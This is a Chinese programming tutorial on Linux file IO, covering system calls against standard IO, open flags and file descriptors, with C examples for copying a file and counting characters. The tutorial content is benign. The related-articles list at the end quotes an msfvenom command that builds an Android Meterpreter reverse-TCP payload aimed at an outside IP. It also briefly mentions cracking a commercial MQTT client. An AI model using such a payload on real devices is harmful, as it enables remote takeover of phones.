嵌入式 - Linux軟件編程:文件IO

一、概念

????????標準IO是有緩存的IO,文件IO沒有緩存,適合于通信、硬件設備操作

????????標準IO是庫函數,文件IO是系統調用

文件 IO 與標準 IO(基于 C 庫函數的 IO)是 Linux 中兩種主要的 IO 方式,二者的核心差異如下:

特性文件 IO(系統調用)標準 IO(庫函數)
緩存機制無用戶空間緩存,依賴內核緩存有用戶空間緩存(全緩存、行緩存等)
接口類型系統調用(如 open、read、write)庫函數(如 fopen、fread、fwrite)
效率頻繁調用時效率較低(系統調用開銷)效率高(緩存減少系統調用次數)
實時性實時性好(直接與內核交互)實時性差(緩存延遲刷新)
適用場景底層開發、實時性要求高的場景普通文件操作、追求開發效率的場景

二、系統調用與庫函數

????????系統調用:是Linux內核中的代碼,只能在Linux系統中使用

????????庫函數:是對系統調用的封裝,可以在不同的操作系統中安裝并使用,庫函數最終還是要調用系統調用完成對應功能

三、文件IO函數接口

1. 函數接口:

標準IO ????????????????文件IO

fopen???????? ????????open

fclose ????????????????close

fgetc/fputc ????????read/write

fgets/fputs

fscanf/fprintf

fread/fwrite

fseek/ftell/rewind???????? lseek

2. 文件打開

原型:
int open(const char *pathname, int flags);  
int open(const char *pathname, int flags, mode_t mode);  

功能:

打開文件,獲得操作文件的?文件描述符

參數:
  • pathname:要打開的文件路徑
  • flags:打開文件的標志(必須包含?O_RDONLY/O_WRONLY/O_RDWR?三者之一,可選輔助標志如下):
    • O_RDONLY:只讀
    • O_WRONLY:只寫
    • O_RDWR:讀寫
    • O_CREAT:文件不存在時創建(需配合?mode?指定文件權限)
    • O_TRUNC:文件存在時,截斷為 0(清空內容)
    • O_APPEND:寫操作時追加到文件末尾
    • O_EXCL:與?O_CREAT?配合,若文件已存在則報錯
返回值:
  • 成功:返回?新文件描述符(非負整數)
  • 失敗:返回?-1
注意:
  • 有三個特殊的文件描述符
    • 標準輸入:0
    • 標準輸出:1
    • 標準錯誤:2
  • 文件描述符特點
    • 是?非負整數
    • 取值為?尚未被占用的最小非負整數
    • 存在上限,到達上限后再打開文件會報錯。
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>int main(void)
{int fd = 0;// // close(0); //關閉輸入流// getchar();// // close(1);// printf("hello");//0664 //八進制//110110100//rw-rw-r--//O_WRONLY:   00000001// O_CREAT:    00000100// O_TRUNC:    00001000// -------------------- |// flags:      00001101  // 所有標志位被合并起來fd = open("a.txt",O_WRONLY | O_CREAT | O_TRUNC,0664);printf("fd = %d\n",fd); //[文件描述符]fd = 3 (從3開始)//0,1,2 被占用(有上限)if(-1 == fd){perror("fail to open");return -1;}//rfd = open("a.txt",O_RDONLY,0664);//r+fd = open("a.txt",O_RDWR,0664);//Wfd = open("a.txt",O_WRONLY | O_CREAT | O_TRUNC,0664);//w+fd = open("a.txt",O_RDWR | O_CREAT | O_TRUNC,0664);//afd = open("a.txt",O_WRONLY | O_APPEND | O_CREAT,0664);//a+fd = open("a.txt",O_RDWR | O_APPEND | O_CREAT,0664);close(fd);return 0;
}

3. 關閉文件描述符

原型:
int close(int fd);  
功能:

關閉文件描述符

4. 標準 I/O 對應的文件 I/O 的打開方式

標準 I/O文件 I/O 打開方式
rO_RDONLY
r+O_RDWR
w`O_WRONLYO_CREATO_TRUNC, 0664`
w+`O_RDWRO_CREATO_TRUNC, 0664`
a`O_WRONLYO_APPENDO_CREAT, 0664`
a+`O_RDWRO_APPENDO_CREAT, 0664`

5. 文件 I/O 讀寫

1. write
原型:
ssize_t write(int fd, const void *buf, size_t count);  
功能:

向文件描述符?fd?中,寫入?buf?指向的?count?個字節?的數據

參數:
  • fd:文件描述符
  • buf:要寫入的數據空間?首地址
  • count:要寫入的?字節數
返回值:
  • 成功:返回?實際寫入的字節數
  • 失敗:返回?-1

四、實戰練習

//圖片拷貝#include<stdio.h>
#include<string.h>int main(void)
{FILE *fp1 = NULL;FILE *fp2 = NULL;size_t nret = 0;char pic[4096] = {0};fp1 = fopen("pp1.png","r");fp2 = fopen("dst.png","w");if(fp1 == NULL || fp2 == NULL){perror("fail to fopen");return -1;}while(1){nret = fread(pic,1,sizeof(pic),fp1);if(nret == 0){break;}fwrite(pic,1,nret,fp2);// fwrite(pic,nret,1,fp2);}fclose(fp1);fclose(fp2);return 0;
}
//2. 統計一個文件中出現最多的字符是哪個?出現了多少次?//    + 使用鏈表實現//    + 使用數組實現//      0 - 255    cnt[256]//      'a'   -> cnt[97]#include<stdio.h>
#include<string.h>int main(void)
{FILE *fp = NULL;char file[256] = {0};int ch[256] = {0};int i = 0;printf("請輸入文件的名字:\n");fgets(file,sizeof(file),stdin);file[strlen(file)-1] = '\0';fp = fopen(file,"r");if(NULL == fp){perror("fail to fopen");return -1;}while(1){i = fgetc(fp);if(EOF == i){break;}ch[i]++;}fclose(fp);int max = 0;for(i = 0;i < 256;i++){if(ch[i] > ch[max]){max = i;}}for(i = 0;i < 256;i++){if(ch[i] == ch[max]){printf("文件中出現最多的字符是'%c'\n",(char)i); printf("其ascii碼值為: %d\n",i);printf("出現了%d次\n",ch[i]);}        }return 0;
}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/92734.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/92734.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/92734.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

ESP32 MQTT對接EMQX本地服務器

文章目錄一、搭建EMQX本地MQTT服務器1.1 下載1.2 使用二、MQTT.fx安裝使用2.1 破解及安裝2.2 客戶端界面說明2.3 與 WebSocket 客戶端互發消息2.3.1 使用MQTT.fx連接到EMQX本地服務器1.General設置2.User Credentials設置3.進行連接2.3.2 MQTT.fx發布和訂閱主題1.發布主題2.訂閱…

【Node.js從 0 到 1:入門實戰與項目驅動】2.2 驗證安裝(`node -v`、`npm -v`命令使用)

文章目錄 第 2 章:環境搭建 —— 準備你的開發工具 2.2 驗證安裝(`node -v`、`npm -v`命令使用) 一、基礎驗證命令解析 二、基礎驗證場景案例 案例 1:首次安裝后的基礎驗證 案例 2:檢查版本兼容性 三、進階場景案例 案例 3:在腳本中動態獲取 Node.js 版本 案例 4:在 npm…

【虛擬機】VMwareWorkstation17Pro安裝步驟

哈嘍&#xff0c;你好啊&#xff0c;我是雷工&#xff01; 工作中時常會遇到各種各樣的系統&#xff0c; 需要做各種測試&#xff0c; 比如要驗證某個軟件在某個系統版本上是否適配&#xff0c; 這時候將自己的電腦系統換成要測試的系統就會比較麻煩。 這時候使用虛擬機就…

C語言庫中的字符函數

目錄 求字符串長度 認識strlen 自主實現strlen 字符串拷貝 認識strcpy 自主實現strcpy strncpy 字符串拼接 認識strcat 自主實現sracat strncat 字符串大小比較 認識strcmp 自主實現strcmp strncmp 字符串中尋找子字符串 認識strstr 自主實現strstr 根據符號…

學習日志31 python

1 x, y y, x 是合法的,這是Python的特色語法x, y y, x 是 Python 中一種非常簡潔且實用的特色語法&#xff0c;用于交換兩個變量的值。這種語法的優勢在于&#xff1a;無需額外的臨時變量即可完成交換操作代碼簡潔易讀&#xff0c;一眼就能理解其目的執行效率高&#xff0c;在…

Mac配置服務器工具Royal TSX

Royal TSX是mac上類似xshell的工具&#xff0c;可以遠程連接服務器、連接ftp等 下載Royal TSX 官網&#xff1a;Royal TSX 下載插件 在設置中的插件市場plugins中下載需要的插件 例如 遠程shell插件&#xff1a;Terminal ftp插件&#xff1a;File Transfer 新建一個文檔 開…

【小程序】微信小程序開發,給用戶發送一次性訂閱消息,常見參數長度和數據類型說明,你值得收藏

&#x1f339;歡迎來到《小5講堂》&#x1f339; &#x1f339;這是《小程序》系列文章&#xff0c;每篇文章將以博主理解的角度展開講解。&#x1f339; &#x1f339;溫馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不對之處望指正&#xff01;&a…

Pytorch深度學習框架實戰教程-番外篇05-Pytorch全連接層概念定義、工作原理和作用

相關文章 視頻教程 《Pytorch深度學習框架實戰教程01》《視頻教程》 《Pytorch深度學習框架實戰教程02&#xff1a;開發環境部署》《視頻教程》 《Pytorch深度學習框架實戰教程03&#xff1a;Tensor 的創建、屬性、操作與轉換詳解》《視頻教程》 《Pytorch深度學習框架實戰…

生產環境中Spring Cloud Config高可用與動態刷新實戰經驗分享

生產環境中Spring Cloud Config高可用與動態刷新實戰經驗分享 一、業務場景描述 在微服務架構中&#xff0c;配置中心承擔集中化管理各微服務配置的職責。隨著服務實例數量增加&#xff0c;單點部署的Spring Cloud Config Server無法滿足生產環境的高可用需求。同時&#xff0c…

華為服務器中Mindie鏡像的部署及啟動方法

一、部署方法 首先要安裝好Docker,然后點開網址https://www.hiascend.com/developer/ascendhub/detail/af85b724a7e5469ebd7ea13c3439d48f 拉取鏡像需要申請權限: 注冊登錄后,即可提交申請,一般需要一個工作日,等審核通過后,點擊下載即可彈出如下提示框: 按照上述方法…

Unity基于Recoder的API寫了一個隨時錄屏的工具

Tips: 需要有Recorder Package引用或存在在項目 using UnityEngine; using UnityEditor; using UnityEditor.Recorder; using UnityEditor.Recorder.Input; using System.IO; using System;public class RecorderWindow : EditorWindow {private RecorderController recorderCo…

安卓滲透基礎(Metasploit)

生成payloadmsfvenom -p android/meterpreter/reverse_tcp LHOST106.53.xx.xx LPORT8080 -o C:\my_custom_shell.apkapksigner 是 Android SDK 中的一個工具&#xff0c;用于給 APK 文件簽名&#xff0c;確保應用的完整性和安全性。進入 File > Settings > Appearance &a…

從零構建自定義Spring Boot Starter:打造你的專屬開箱即用組件

一、引言:為什么需要自定義Spring Boot Starter Spring Boot的核心理念是"約定優于配置",而Starter(啟動器)正是這一理念的最佳實踐。官方提供的Starter(如spring-boot-starter-web、spring-boot-starter-data-jpa)通過封裝常用組件的配置,讓開發者能夠"…

MySQL 基礎操作教程

MySQL 是目前最流行的開源關系型數據庫管理系統之一&#xff0c;廣泛應用于Web開發、數據分析等場景。掌握基礎的增刪改查操作是入門的關鍵。本文將從環境準備開始&#xff0c;帶你深入&#xff0c;mysql一、前置準備&#xff1a;安裝與連接 MySQL 1. 安裝 MySQL Windows&#…

批量把在線網絡JSON文件(URL)轉換成Excel工具 JSON to Excel by WTSolutions

產品介紹 JSON to Excel by WTSolutions 是一款功能強大的工具&#xff0c;能夠將JSON數據快速轉換為Excel格式。該工具提供兩種使用方式&#xff1a;作為Microsoft Excel插件或作為在線網頁應用&#xff0c;滿足不同用戶的需求。無論是處理簡單的扁平JSON還是復雜的嵌套JSON結…

【排序算法】③直接選擇排序

系列文章目錄 第一篇&#xff1a;【排序算法】①直接插入排序-CSDN博客 第二篇&#xff1a;【排序算法】②希爾排序-CSDN博客 第三篇&#xff1a;【排序算法】③直接選擇排序-CSDN博客 第四篇&#xff1a;【排序算法】④堆排序-CSDN博客 第五篇&#xff1a;【排序算法】⑤冒…

2024年ESWA SCI1區TOP,自適應種群分配和變異選擇差分進化算法iDE-APAMS,深度解析+性能實測

目錄1.摘要2.自適應種群分配和變異選擇差分進化算法iDE-APAMS3.結果展示4.參考文獻5.代碼獲取6.算法輔導應用定制讀者交流1.摘要 為了提高差分進化算法&#xff08;DE&#xff09;在不同優化問題上的性能&#xff0c;本文提出了一種自適應種群分配和變異選擇差分進化算法&…

目標檢測數據集 - 無人機檢測數據集下載「包含COCO、YOLO兩種格式」

數據集介紹&#xff1a;無人機檢測數據集&#xff0c;真實采集高質量含無人機圖片數據&#xff0c;適用于空中飛行無人機的檢測。數據標注標簽包括 drone 無人機一個類別&#xff1b;適用實際項目應用&#xff1a;無人機檢測項目&#xff0c;以及作為通用檢測數據集場景數據的補…

Linux DNS服務解析原理與搭建

一、什么是DNSDNS 是域名服務 (Domain Name System) 的縮寫&#xff0c;它是由解析器和域名服務器組成的。 域名服務器是指保存有該網絡中所有主機的域名和對應IP地址&#xff0c; 并具有將域名轉換為IP地址功能的服務器。 域名必須對應一個IP地址&#xff0c;而IP地址不一定有…

typecho博客設置瀏覽器標簽頁圖標icon

修改瀏覽器標簽頁圖標&#xff08;favicon.ico&#xff09;&#xff1a;第1種&#xff1a;上傳到服務器本地目錄1、制作圖標文件&#xff1a;準備一張長寬比為 1:1 的圖片&#xff0c;將其上傳到第三方 ico 生成網站&#xff0c;生成后綴為.ico 的圖片文件&#xff0c;并將其命…